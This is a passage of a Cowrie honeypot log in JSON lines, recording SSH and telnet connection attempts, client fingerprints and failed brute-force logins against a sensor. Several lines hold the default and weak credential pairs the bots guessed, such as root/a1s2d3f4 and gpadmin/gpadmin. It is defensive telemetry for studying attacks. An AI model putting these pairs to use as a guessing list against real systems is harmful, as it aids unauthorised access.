m@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:10.178244Z","src_ip":"176.65.132.129","session":"9d1584e14c0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:10.429917Z","src_ip":"176.65.132.129","session":"9d1584e14c0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:11.651699Z","src_ip":"176.65.132.129","session":"9d1584e14c0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.63960838317871,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:12.589551Z","src_ip":"152.42.224.71","session":"8792192bf96e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40440,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8d8ab75edb7","protocol":"ssh","message":"New connection: 176.65.132.129:40440 (159.203.135.109:22) [session: c8d8ab75edb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:13.211565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:13.217433Z","src_ip":"176.65.132.129","session":"c8d8ab75edb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:13.325786Z","src_ip":"176.65.132.129","session":"c8d8ab75edb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1s2d3f4","message":"login attempt [root/a1s2d3f4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:13.576507Z","src_ip":"176.65.132.129","session":"c8d8ab75edb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:14.661950Z","src_ip":"176.65.132.129","session":"c8d8ab75edb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.249.28.115","src_port":46992,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1fa4376f488","protocol":"ssh","message":"New connection: 23.249.28.115:46992 (159.203.135.109:22) [session: a1fa4376f488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:14.849904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:14.855247Z","src_ip":"23.249.28.115","session":"a1fa4376f488","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:15.049766Z","src_ip":"23.249.28.115","session":"a1fa4376f488","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdf12345","message":"login attempt [root/asdf12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:15.854237Z","src_ip":"23.249.28.115","session":"a1fa4376f488","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50640,"dst_ip":"159.203.135.109","dst_port":22,"session":"19dff2f9f66a","protocol":"ssh","message":"New connection: 176.65.132.129:50640 (159.203.135.109:22) [session: 19dff2f9f66a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:16.460523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:16.465857Z","src_ip":"176.65.132.129","session":"19dff2f9f66a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:16.548880Z","src_ip":"176.65.132.129","session":"19dff2f9f66a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234","message":"login attempt [user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:16.975428Z","src_ip":"176.65.132.129","session":"19dff2f9f66a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:17.050382Z","src_ip":"23.249.28.115","session":"a1fa4376f488","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.32.240.31","src_port":46192,"dst_ip":"159.203.135.109","dst_port":22,"session":"7468e296b7f0","protocol":"ssh","message":"New connection: 101.32.240.31:46192 (159.203.135.109:22) [session: 7468e296b7f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:17.228301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:17.233941Z","src_ip":"101.32.240.31","session":"7468e296b7f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:17.471772Z","src_ip":"101.32.240.31","session":"7468e296b7f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:18.061618Z","src_ip":"176.65.132.129","session":"19dff2f9f66a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.85099959373474,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:18.245048Z","src_ip":"152.42.224.71","session":"cf0c101468b5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"159159","message":"login attempt [root/159159] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:18.454274Z","src_ip":"101.32.240.31","session":"7468e296b7f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:19.698171Z","src_ip":"101.32.240.31","session":"7468e296b7f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50648,"dst_ip":"159.203.135.109","dst_port":22,"session":"03baf6f314b5","protocol":"ssh","message":"New connection: 176.65.132.129:50648 (159.203.135.109:22) [session: 03baf6f314b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:19.862082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:19.868680Z","src_ip":"176.65.132.129","session":"03baf6f314b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:19.953368Z","src_ip":"176.65.132.129","session":"03baf6f314b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin","message":"login attempt [gpadmin/gpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:20.201685Z","src_ip":"176.65.132.129","session":"03baf6f314b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57230,"dst_ip":"10.17.0.5","dst_port":23,"session":"acf15af85f14","protocol":"telnet","message":"New connection: 152.42.224.71:57230 (10.17.0.5:23) [session: acf15af85f14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:20.940391Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:21.287109Z","src_ip":"176.65.132.129","session":"03baf6f314b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.162.8.14","src_port":57794,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cbe0531906b","protocol":"ssh","message":"New connection: 45.162.8.14:57794 (10.17.0.5:22) [session: 7cbe0531906b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:21.615732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:21.620388Z","src_ip":"45.162.8.14","session":"7cbe0531906b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:21.738916Z","src_ip":"45.162.8.14","session":"7cbe0531906b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rm123","message":"login attempt [root/rm123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:22.232326Z","src_ip":"45.162.8.14","session":"7cbe0531906b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50652,"dst_ip":"159.203.135.109","dst_port":22,"session":"13914f4eb6fb","protocol":"ssh","message":"New connection: 176.65.132.129:50652 (159.203.135.109:22) [session: 13914f4eb6fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:23.081653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:23.087171Z","src_ip":"176.65.132.129","session":"13914f4eb6fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:23.169677Z","src_ip":"176.65.132.129","session":"13914f4eb6fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:23.354016Z","src_ip":"45.162.8.14","session":"7cbe0531906b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:23.481826Z","src_ip":"176.65.132.129","session":"13914f4eb6fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:24.566664Z","src_ip":"176.65.132.129","session":"13914f4eb6fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60924,"dst_ip":"159.203.135.109","dst_port":22,"session":"51fd5adfcea7","protocol":"ssh","message":"New connection: 176.65.132.129:60924 (159.203.135.109:22) [session: 51fd5adfcea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:26.334690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:26.338980Z","src_ip":"176.65.132.129","session":"51fd5adfcea7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:26.420903Z","src_ip":"176.65.132.129","session":"51fd5adfcea7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpt","password":"gpt","message":"login attempt [gpt/gpt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:26.666822Z","src_ip":"176.65.132.129","session":"51fd5adfcea7","protocol":"ssh"}
